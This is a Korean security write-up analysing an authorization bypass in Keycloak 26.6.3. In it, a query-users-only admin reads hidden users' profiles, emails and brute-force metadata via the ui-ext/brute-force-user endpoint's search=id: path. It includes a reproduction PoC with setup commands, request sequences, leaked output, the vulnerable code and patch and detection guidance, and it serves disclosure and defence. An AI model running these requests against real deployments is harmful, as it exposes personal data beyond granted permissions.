포스트

Keycloak Admin UI Extension brute-force-user 권한 검증 우회 분석

Keycloak 26.6.3 FGAP v2 환경에서 query-users 권한만 가진 제한 관리자가 Admin UI extension endpoint를 통해 숨겨진 사용자 정보를 조회할 수 있는 권한 검증 우회 사례를 분석합니다.

목차

  1. Target
  2. Background
  3. Vulnerability Overview
  4. Reproduction
  5. Root Cause Analysis
  6. Patch Direction
  7. Detection and Mitigation
  8. 분석 정리
  9. References

안녕하세요 HSPACE에서 Knights팀에서 활동하고 있는 yd1ng입니다. 이번 글에서는 Keycloak 26.6.3의 Admin UI extension endpoint에서 확인한 권한 검증 우회 사례를 분석합니다.

Fine-Grained Admin Permissions v2, 이하 FGAP v2가 활성화된 realm에서 query-users 권한만 가진 제한 관리자는 특정 사용자를 볼 수 없어야 합니다. 실제로 core Admin REST API는 동일한 user ID 검색을 빈 결과로 처리합니다. 하지만 Admin UI extension의 brute-force-user endpoint는 search=id:{userId} 입력을 처리하는 경로에서 직접 사용자를 조회한 뒤, FGAP v2의 canView 검증 없이 사용자 표현을 반환했습니다.


1. Target

Keycloak이란?

Keycloak은 OpenID Connect, OAuth 2.0, SAML 기반 인증과 권한 관리를 제공하는 오픈소스 IAM(Identity and Access Management) 솔루션입니다. 애플리케이션이 직접 사용자 인증, 세션, MFA, 외부 IdP 연동, 관리자 권한 모델을 모두 구현하지 않도록 중앙 인증 서버 역할을 합니다.

이번 분석 대상은 Keycloak의 일반 로그인 API가 아니라, 관리자가 사용하는 Admin REST API와 Admin Console 보조 endpoint입니다.

분석 대상 버전

검증 환경은 다음과 같습니다.

항목
Verified affectedquay.io/keycloak/keycloak:26.6.3
Additional checkquay.io/keycloak/keycloak:nightly
Source tag26.6.3
Source commit8a67e82f8c85b35bbe69dbc9f3cd28aa26c00ebb
Checked main commitfc078e7ce76ca9bc5687b8576f30f8806a52dee0

취약 endpoint

문제가 확인된 endpoint는 다음 Admin UI extension 경로입니다.

1
GET /admin/realms/{realm}/ui-ext/brute-force-user?search=id:{userId}

이 endpoint는 Admin Console에서 brute-force protection 관련 사용자 상태를 조회할 때 사용되는 보조 API입니다. 이름만 보면 brute-force 상태 조회에 가까워 보이지만, 실제 응답에는 사용자 기본 정보와 brute-force status가 함께 포함됩니다.


2. Background

Fine-Grained Admin Permissions

Keycloak의 기본 관리자 role은 강력합니다. 예를 들어 manage-usersview-users를 부여하면 realm 내 사용자 관리 범위가 넓어집니다. 운영 환경에서는 특정 팀, 특정 그룹, 특정 고객사 사용자만 관리할 수 있는 제한 관리자 모델이 필요할 수 있습니다.

이를 위해 Keycloak은 Fine-Grained Admin Permissions를 제공합니다. 공식 문서에서도 coarse-grained role이 너무 넓을 때, 제한된 관리자 계정과 세밀한 관리 정책을 구성할 수 있다고 설명합니다.

이 모델에서 중요한 점은 query-usersview-users의 의미가 다르다는 것입니다.

권한기대 역할
query-usersAdmin Console에서 사용자 메뉴나 검색 기능을 사용할 수 있게 하는 조회 진입 권한
view-users사용자 상세 정보 조회 권한
FGAP view permission정책에 의해 허용된 특정 사용자 또는 사용자 집합을 볼 수 있는 권한

즉, query-users만 가진 관리자는 사용자를 검색하는 기능의 입구에는 접근할 수 있지만, 권한 범위 밖의 사용자 상세 정보까지 볼 수 있어서는 안 됩니다.

search=id:가 중요한가?

사용자 검색은 보통 username, email, first name, last name 같은 속성을 기준으로 합니다. 하지만 Keycloak의 core users endpoint에는 search=id:{userId} 형태로 user ID를 직접 조회하는 코드 경로가 존재합니다.

ID 기반 조회는 일반 검색보다 더 민감합니다. 검색어 매칭이 아니라 내부 식별자를 기준으로 사용자를 직접 해석하기 때문입니다. 이 경로에서는 “사용자를 찾았는가”와 “호출자가 그 사용자를 볼 수 있는가”를 반드시 분리해서 처리해야 합니다.

core Admin REST API는 이 점을 고려해 FGAP가 활성화된 경우 ID 검색 결과에 canView 필터를 적용합니다. 반면 이번에 확인한 Admin UI extension endpoint는 같은 조건을 충족하지 못했습니다.


3. Vulnerability Overview

요약

FGAP v2가 활성화된 realm에서 query-users만 가진 제한 관리자 계정이 다음 조건을 만족할 때 권한 범위 밖 사용자 정보를 조회할 수 있습니다.

  • 제한 관리자에게 realm-management client role 중 query-users만 부여됨
  • 제한 관리자는 대상 사용자에 대한 view-users 또는 FGAP view 권한이 없음
  • 공격자는 대상 사용자의 user ID를 알고 있음
  • ui-ext/brute-force-user endpoint에 search=id:{userId} 형태로 요청함

정상적인 권한 모델이라면 이 사용자는 직접 사용자 조회와 ID 기반 검색 모두에서 숨겨져야 합니다.

대조군

동일한 제한 관리자 token으로 세 가지 endpoint를 비교했습니다.

요청기대 동작실제 결과
GET /admin/realms/{realm}/users/{userId}접근 거부403 Forbidden
GET /admin/realms/{realm}/users?search=id:{userId}사용자 숨김200 []
GET /admin/realms/{realm}/ui-ext/brute-force-user?search=id:{userId}사용자 숨김 또는 접근 거부200 with user representation

core users API는 권한 경계를 유지하지만, Admin UI extension endpoint는 같은 user ID에 대해 사용자 표현을 반환합니다.

노출 가능한 정보

검증 결과 응답에는 다음 정보가 포함될 수 있었습니다.

정보 유형예시
식별자user ID, username
프로필first name, last name, email
계정 상태email verified, enabled
인증 상태required actions
credential metadatacredential 관련 flag
brute-force 상태numFailures, disabled, lastFailure, lastIPFailure

특히 lastIPFailurelastFailure는 단순 사용자 목록보다 민감할 수 있습니다. 제한 관리자가 볼 수 없어야 하는 사용자에 대해 최근 인증 실패 IP와 시간 정보를 얻을 수 있기 때문입니다.

영향 범위 해석

이 취약점은 익명 사용자나 일반 realm user가 바로 호출할 수 있는 유형은 아닙니다. Admin REST 영역의 bearer token이 필요하고, 최소한 query-users 권한이 있는 제한 관리자여야 합니다.


4. Reproduction

이 절에서는 CVE-2026-14209로 공개된 취약점을 어떤 조건에서 확인했는지 정리합니다. PoC의 목적은 단순히 취약 endpoint가 200 OK를 반환한다는 것을 보는 것이 아니라, 동일한 제한 관리자 token과 동일한 target user ID에 대해 core Admin REST API와 Admin UI extension endpoint의 authorization decision이 달라지는지를 확인하는 것입니다.

검증 환경

검증은 로컬 Docker 환경에서 수행했습니다.

항목
Keycloak URLhttp://127.0.0.1:8080
Containerkeycloak-audit-2663
Imagequay.io/keycloak/keycloak:26.6.3
Realmbrute-force-user-id-search-disclosure-poc
Realm settingadminPermissionsEnabled=true
Brute-force protectionenabled

Keycloak은 다음과 같이 start-dev 모드로 실행했습니다.

1
2
3
4
5
6
7
docker run --rm \
  --name keycloak-audit-2663 \
  -p 8080:8080 \
  -e KEYCLOAK_ADMIN=admin \
  -e KEYCLOAK_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.6.3 \
  start-dev

PoC는 매 실행마다 별도 realm을 생성하고, 대상 사용자와 제한 관리자 사용자를 새로 구성했습니다. 실제 운영 realm을 대상으로 실행할 필요가 없도록 재현 환경을 독립적으로 만들었습니다. PoC가 사용하는 기본 전제는 다음과 같습니다.

항목
master adminadmin:admin
test realmbrute-force-user-id-search-disclosure-poc
target useralice-secret
limited adminlimited-admin
limited admin rolerealm-managementquery-users만 부여

PoC 실행 방법

PoC 스크립트는 Python requests만 사용하도록 작성했습니다. Keycloak 컨테이너가 http://127.0.0.1:8080에서 떠 있는 상태라면 다음과 같이 실행할 수 있습니다.

1
2
3
4
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install requests
python3 keycloak-26.6.3-ui-ext-bruteforce-user-id-search-disclosure-poc.py

스크립트 상단의 주요 값은 다음과 같습니다.

1
2
3
4
BASE_URL = "http://127.0.0.1:8080"
MASTER_ADMIN = "admin"
MASTER_PASSWORD = "admin"
REALM = "brute-force-user-id-search-disclosure-poc"

따라서 다른 포트나 다른 master admin 비밀번호를 사용할 경우에는 이 값만 환경에 맞게 바꾸면 됩니다. PoC는 테스트 realm을 삭제하고 다시 생성하므로, 운영 realm이나 보존해야 하는 realm 이름을 사용하면 안 됩니다.

스크립트는 크게 네 개의 helper로 구성됩니다.

함수역할
token()지정한 realm, username, password로 admin-cli access token 발급
request()bearer token과 JSON header 처리를 공통화한 Admin REST 요청 wrapper
as_json()응답이 JSON이면 object로 변환하고, 아니면 text로 유지
create_user()사용자 생성 후 /users?username= 검색으로 생성된 user ID 회수

이 helper들을 둔 이유는 재현 과정에서 사용하는 token이 두 종류이기 때문입니다. realm 생성과 role 부여는 master admin token으로 수행하고, 취약점 확인 요청은 반드시 limited-admin token으로 수행해야 합니다. 두 token이 섞이면 결과 해석이 불가능해집니다.

PoC 흐름

PoC는 다음 순서로 동작합니다.

  1. master realm의 admin-cli client로 master admin access token을 발급받습니다.
  2. 기존 테스트 realm이 있으면 삭제한 뒤, adminPermissionsEnabled=truebruteForceProtected=true가 설정된 새 realm을 생성합니다.
  3. 대상 사용자 alice-secret을 생성하고 user ID를 저장합니다.
  4. 제한 관리자 limited-admin을 생성합니다.
  5. limited-admin에게 realm-management client role 중 query-users만 부여합니다.
  6. alice-secret에 대해 잘못된 비밀번호 로그인을 1회 발생시켜 brute-force metadata가 응답에 포함되는지 확인할 수 있게 합니다.
  7. limited-admin으로 access token을 발급받습니다.
  8. 같은 token으로 direct lookup, core search, UI extension search를 차례로 호출합니다.

realm 생성에 사용한 핵심 설정은 다음과 같습니다.

1
2
3
4
5
6
{
  "realm": "brute-force-user-id-search-disclosure-poc",
  "enabled": true,
  "adminPermissionsEnabled": true,
  "bruteForceProtected": true
}

여기서 중요한 값은 adminPermissionsEnabled=true입니다. FGAP v2가 켜진 상태에서 제한 관리자가 특정 사용자를 볼 수 없어야 하는 조건을 만들기 위해 필요합니다.

권한 구성

테스트 계정의 역할은 다음과 같습니다.

계정역할
alice-secret제한 관리자가 볼 수 없어야 하는 대상 사용자
limited-adminquery-users만 가진 제한 관리자

limited-admin에는 realm-management client role 중 query-users만 부여했습니다. view-users는 부여하지 않았고, 대상 사용자에 대한 FGAP view permission도 부여하지 않았습니다.

이 구성이 중요한 이유는 query-users가 사용자 검색 기능에 접근하기 위한 권한이지, 개별 사용자의 상세 정보를 볼 수 있는 권한은 아니기 때문입니다. 따라서 limited-adminalice-secret의 user ID를 알고 있더라도, 권한 모델상으로는 해당 사용자의 representation을 받을 수 없어야 합니다.

권한 부여 요청은 개념적으로 다음 형태입니다.

1
2
3
4
5
6
7
8
9
10
POST /admin/realms/{realm}/users/{limitedAdminId}/role-mappings/clients/{realmManagementClientId}
Authorization: Bearer {masterAdminToken}
Content-Type: application/json

[
  {
    "name": "query-users",
    "...": "..."
  }
]

추가로 brute-force status가 응답에 포함되는지 확인하기 위해 대상 사용자에 대해 실패한 로그인 시도를 1회 발생시켰습니다. 이 단계는 brute-force metadata를 관찰하기 위한 것이며, 권한 우회 자체의 본질은 ID 기반 사용자 조회 경로에 있습니다.

1
2
3
4
5
6
7
POST /realms/{realm}/protocol/openid-connect/token
Content-Type: application/x-www-form-urlencoded

grant_type=password&
client_id=admin-cli&
username=alice-secret&
password=wrong-password

대조 요청

PoC는 limited-admin token으로 네 가지 요청을 비교합니다.

스크립트에서는 이 네 요청을 checks 배열에 넣고 같은 loop로 실행합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
checks = [
    ("direct user by ID", f"/admin/realms/{REALM}/users/{alice_id}"),
    (
        "core /users search=id",
        f"/admin/realms/{REALM}/users?search=id:{alice_id}&briefRepresentation=false",
    ),
    (
        "core /users/count username",
        f"/admin/realms/{REALM}/users/count?username=alice-secret",
    ),
    (
        "ui-ext brute-force-user search=id",
        f"/admin/realms/{REALM}/ui-ext/brute-force-user?search=id:{alice_id}&briefRepresentation=false",
    ),
]

이렇게 같은 token, 같은 realm, 같은 target user ID를 사용해 endpoint만 바꿔 호출해야 권한 검증 차이를 명확히 볼 수 있습니다.

첫 번째는 direct user lookup입니다.

1
2
GET /admin/realms/{realm}/users/{aliceUserId}
Authorization: Bearer {limitedAdminToken}

이 요청은 403 Forbidden이 나와야 합니다. 이 결과가 나와야 제한 관리자가 대상 사용자를 직접 볼 수 없다는 전제가 성립합니다.

두 번째는 core Admin REST API의 ID 검색입니다.

1
2
GET /admin/realms/{realm}/users?search=id:{aliceUserId}&briefRepresentation=false
Authorization: Bearer {limitedAdminToken}

이 요청은 200 OK와 빈 배열 []이 나와야 합니다. core users endpoint는 ID로 사용자를 찾더라도 FGAP v2의 canView 필터를 적용하기 때문입니다.

세 번째는 username 기반 count 확인입니다.

1
2
GET /admin/realms/{realm}/users/count?username=alice-secret
Authorization: Bearer {limitedAdminToken}

이 요청은 0을 반환했습니다. 제한 관리자의 검색 권한이 대상 사용자 visibility로 이어지지 않는다는 보조 근거입니다.

마지막으로 문제가 되는 Admin UI extension endpoint를 호출합니다.

1
2
GET /admin/realms/{realm}/ui-ext/brute-force-user?search=id:{aliceUserId}&briefRepresentation=false
Authorization: Bearer {limitedAdminToken}

취약한 버전에서는 이 요청이 200 OK와 함께 alice-secret의 사용자 representation을 반환합니다.

판정 조건

PoC는 단순 문자열 매칭이 아니라 다음 세 조건이 모두 참인지 확인합니다.

조건의미
direct_blocked=true/users/{id} 직접 조회가 403으로 차단됨
core_hidden=true/users?search=id:{id} core 검색 결과가 []로 숨겨짐
ui_ext_leaked=true/ui-ext/brute-force-user?search=id:{id}가 같은 사용자 ID와 username을 반환함

PoC의 verdict 로직은 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
direct_blocked = results["direct user by ID"]["status"] == 403
core_hidden = (
    results["core /users search=id"]["status"] == 200
    and results["core /users search=id"]["body"] == []
)
ui_ext_leaked = (
    results["ui-ext brute-force-user search=id"]["status"] == 200
    and isinstance(leaked_body, list)
    and len(leaked_body) == 1
    and leaked_body[0].get("id") == alice_id
    and leaked_body[0].get("username") == "alice-secret"
)

즉 이 PoC에서 취약 판정은 “endpoint 하나가 데이터를 반환했다”가 아니라, 정상적으로 차단되는 사용자에 대해 UI extension endpoint만 다른 결정을 내렸는지를 기준으로 합니다.

검증 결과

실행 결과의 핵심 부분은 다음과 같습니다.

1
2
3
4
5
direct alice: 403
core search username: 200 []
core search id: 200 []
core count username: 200 0
ui-ext brute search id: 200

direct alice: 403은 제한 관리자가 대상 사용자를 직접 볼 수 없음을 보여줍니다. 이 결과가 없으면 limited-admin이 실제로 제한된 계정인지 증명할 수 없습니다.

core search id: 200 []는 core Admin REST API가 같은 user ID 검색을 권한 모델에 맞게 숨긴다는 뜻입니다.

반면 ui-ext brute search id: 200은 Admin UI extension endpoint가 같은 user ID에 대해 사용자 표현을 반환했음을 의미합니다. 실제 응답은 다음과 같은 형태였습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[
  {
    "id": "47a3f4e1-84bf-4d04-b872-4fb06e1ddb0a",
    "username": "alice-secret",
    "firstName": "alice-secret",
    "lastName": "User",
    "email": "alice@example.test",
    "emailVerified": true,
    "enabled": true,
    "access": {
      "manage": false
    },
    "bruteForceStatus": {
      "numFailures": 1,
      "disabled": false,
      "lastIPFailure": "172.17.0.1",
      "lastFailure": 1782463092595
    }
  }
]

여기서 access.manage=false도 중요합니다. 응답 객체 자체가 “이 사용자를 관리할 수 없다”는 상태를 담고 있지만, 이미 user ID, username, email, brute-force metadata가 반환된 뒤입니다. 권한 검증은 representation 내부의 access flag로 표현되는 것이 아니라, representation 생성 전에 수행되어야 합니다.

마지막 verdict는 다음과 같이 출력됩니다.

1
2
3
4
5
=== verdict ===
direct_blocked=True
core_hidden=True
ui_ext_leaked=True
VULNERABLE: ui-ext brute-force-user discloses a hidden user by ID.

검증 스크립트는 같은 시나리오를 quay.io/keycloak/keycloak:nightly 컨테이너에서도 실행했고, 리포트 작성 시점에는 동일한 결과가 재현되었습니다.


5. Root Cause Analysis

취약한 흐름

문제의 시작점은 BruteForceUsersResource.javasearch=id: 처리 경로입니다.

해당 endpoint는 검색어가 id: prefix로 시작하면 일반 검색을 수행하지 않고, user ID를 잘라내어 session.users().getUserById(...)로 직접 사용자를 조회합니다.

1
2
3
4
5
UserModel userModel =
        session.users().getUserById(realm, search.substring(SEARCH_ID_PARAMETER.length()).trim());
if (userModel != null) {
    userModels = Stream.of(userModel);
}

여기까지는 그 자체로 취약하다고 단정할 수 없습니다. ID 기반 직접 조회가 필요할 수도 있습니다. 문제는 이후 단계에서 “조회된 사용자를 호출자가 볼 수 있는가”를 다시 검증하지 않는다는 점입니다.

조회된 UserModeltoRepresentation(...)으로 전달되어 HTTP 응답용 사용자 표현으로 변환됩니다. 그런데 FGAP v2가 활성화된 경우 이 변환 경로에서 명시적인 usersEvaluator.canView 필터가 적용되지 않습니다.

1
2
3
4
5
if (!AdminPermissionsSchema.SCHEMA.isAdminPermissionsEnabled(realm)) {
    usersEvaluator.grantIfNoPermission(session.getAttribute(UserModel.GROUPS) != null);
    userModels = userModels.filter(usersEvaluator::canView);
    usersEvaluator.grantIfNoPermission(session.getAttribute(UserModel.GROUPS) != null);
}

조건이 !isAdminPermissionsEnabled(realm)이므로, admin permissions가 활성화된 realm에서는 이 block이 실행되지 않습니다. 결과적으로 ID로 직접 조회된 사용자가 권한 필터 없이 representation 변환 단계로 넘어갈 수 있습니다.

core Admin REST API와의 차이

같은 search=id: 기능을 가진 core users endpoint는 다르게 처리합니다.

1
2
3
if (AdminPermissionsSchema.SCHEMA.isAdminPermissionsEnabled(realm)) {
    userModels = userModels.filter(userPermissionEvaluator::canView);
}

즉 core endpoint는 ID로 사용자를 찾은 뒤, FGAP가 활성화되어 있으면 canView를 명시적으로 적용합니다. 이 때문에 동일한 제한 관리자 token과 동일한 user ID를 사용해도 core endpoint는 빈 배열을 반환했습니다.

권한 검증이 빠지기 쉬운 이유

Admin Console은 사용자 목록, brute-force 상태, 공격 탐지 화면처럼 여러 UI 기능을 제공합니다. 이때 core Admin REST API만 사용하는 것이 아니라, 화면 편의를 위해 별도 UI extension endpoint가 생길 수 있습니다.

문제는 보조 endpoint가 core endpoint와 비슷한 데이터를 반환하면서도, 권한 검증을 별도로 구현한다는 점입니다. 기능상으로는 “brute-force 상태 조회”처럼 보이지만, 내부적으로는 UserRepresentation을 반환합니다. 사용자를 반환하는 순간, 이 endpoint도 사용자 조회 endpoint와 같은 canView invariant를 지켜야 합니다.

이번 사례에서는 core endpoint에는 존재하는 ID-search 후처리 필터가 UI extension endpoint에는 빠져 있었습니다.


6. Patch Direction

수정 방향

수정 방향은 단순합니다. search=id: 경로에서 직접 조회한 사용자도 representation 변환 전에 canView 검증을 통과해야 합니다.

개념적으로는 다음과 같은 형태입니다.

1
2
3
if (AdminPermissionsSchema.SCHEMA.isAdminPermissionsEnabled(realm)) {
    userModels = userModels.filter(usersEvaluator::canView);
}

이 필터는 직접 ID 조회 경로와 일반 검색 경로 모두에서 일관되게 적용되어야 합니다. 특히 UserRepresentation 또는 사용자 식별 가능한 데이터를 반환하는 endpoint라면, endpoint 이름이 brute-force-user이든 users이든 동일한 권한 invariant를 가져야 합니다.

테스트 케이스

회귀 테스트는 core endpoint와 UI extension endpoint의 동작을 나란히 검증하는 방식이 적합합니다.

1
2
3
4
5
6
7
8
9
given:
  realm.adminPermissionsEnabled = true
  limited-admin has query-users only
  limited-admin cannot view target user

expect:
  GET /users/{targetId} -> 403
  GET /users?search=id:{targetId} -> []
  GET /ui-ext/brute-force-user?search=id:{targetId} -> []

여기서 중요한 것은 query-users 자체를 제거하는 것이 아닙니다. 제한 관리자가 검색 UI에 접근할 수는 있어야 하지만, 권한 범위 밖 사용자의 상세 representation은 반환되면 안 됩니다.

실패 조건을 명확히 보기

이 취약점은 “어떤 endpoint가 200을 반환했다”가 문제가 아닙니다. 다음 조건이 동시에 성립할 때 실패입니다.

  • direct user endpoint는 403을 반환함
  • core ID search는 빈 배열을 반환함
  • UI extension ID search는 같은 사용자를 반환함

즉 같은 principal, 같은 realm, 같은 target user에 대해 endpoint별 authorization decision이 달라집니다. 이 차이가 회귀 테스트의 핵심 assertion이 되어야 합니다.


7. Detection and Mitigation

로그 기반 점검

운영 환경에서는 다음 형태의 요청을 우선 점검할 수 있습니다.

1
GET /admin/realms/*/ui-ext/brute-force-user?search=id:*

정상적인 Admin Console 사용에서도 brute-force 사용자 검색 endpoint가 호출될 수 있으므로, 단순 호출 여부만으로 공격이라고 단정하기는 어렵습니다. 다만 search=id: 형태의 직접 ID 검색이 반복되거나, 제한 관리자 계정에서 여러 user ID를 대상으로 호출되는 패턴은 별도로 확인할 가치가 있습니다.


8. 분석 정리

이번 취약점은 Admin REST API 전체 권한 모델이 깨진 사례라기보다는, core endpoint와 Admin UI extension endpoint 사이에 권한 검증 방식이 일관되지 않았던 사례로 볼 수 있습니다.

핵심 조건을 정리하면 다음과 같습니다.

구분내용
취약 endpoint/admin/realms/{realm}/ui-ext/brute-force-user?search=id:{userId}
필요한 권한realm-managementquery-users
보호되어야 하는 권한 경계view-users 또는 FGAP view permission이 없는 사용자는 target user representation을 볼 수 없어야 함
우회 지점search=id: 처리 중 getUserById()로 직접 조회한 사용자가 FGAP v2 canView 필터 없이 representation으로 변환됨
대조군core /users?search=id:{userId} endpoint는 같은 조건에서 빈 배열 [] 반환
노출 정보username, email, enabled state, credential metadata flag, brute-force status 등

이 문제의 본질은 query-usersview 계열 권한의 역할이 분리되어야 한다는 점입니다. query-users는 Admin Console에서 사용자 검색 기능에 접근하기 위한 권한으로 볼 수 있지만, 특정 사용자의 상세 representation을 반환해도 된다는 의미는 아닙니다. 따라서 user ID를 알고 있더라도, 호출자에게 해당 사용자를 볼 권한이 없다면 응답은 빈 결과이거나 거부되어야 합니다.

PoC에서 중요한 대조는 다음 세 가지였습니다.

1
2
3
4
5
6
7
8
GET /users/{aliceUserId}
-> 403

GET /users?search=id:{aliceUserId}
-> 200 []

GET /ui-ext/brute-force-user?search=id:{aliceUserId}
-> 200 [alice-secret representation]

즉, 같은 realm, 같은 제한 관리자 token, 같은 target user ID를 사용했을 때 core endpoint는 권한 경계를 지켰지만 UI extension endpoint만 target user를 반환했습니다. 이 차이가 CVE-2026-14209의 핵심 재현 포인트입니다.

패치 방향도 이 구조에서 자연스럽게 도출됩니다. 사용자 representation을 반환하는 endpoint라면 endpoint 이름이 users가 아니더라도 동일한 user visibility invariant를 적용해야 합니다. 특히 getUserById()처럼 검색 계층을 우회하는 직접 조회 경로에서는 조회 성공 여부와 응답 가능 여부를 분리하고, representation 생성 전에 canView(user) 검증을 강제해야 합니다.

운영 관점에서는 user ID를 비밀값으로 취급하는 방식으로는 이 문제를 방어할 수 없습니다. user ID는 로그, 감사 이벤트, 외부 연동, 운영 도구 등에서 노출될 수 있으므로, user ID를 알고 있다는 사실과 해당 사용자를 볼 수 있다는 권한은 항상 별도로 검증되어야 합니다.


9. References

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.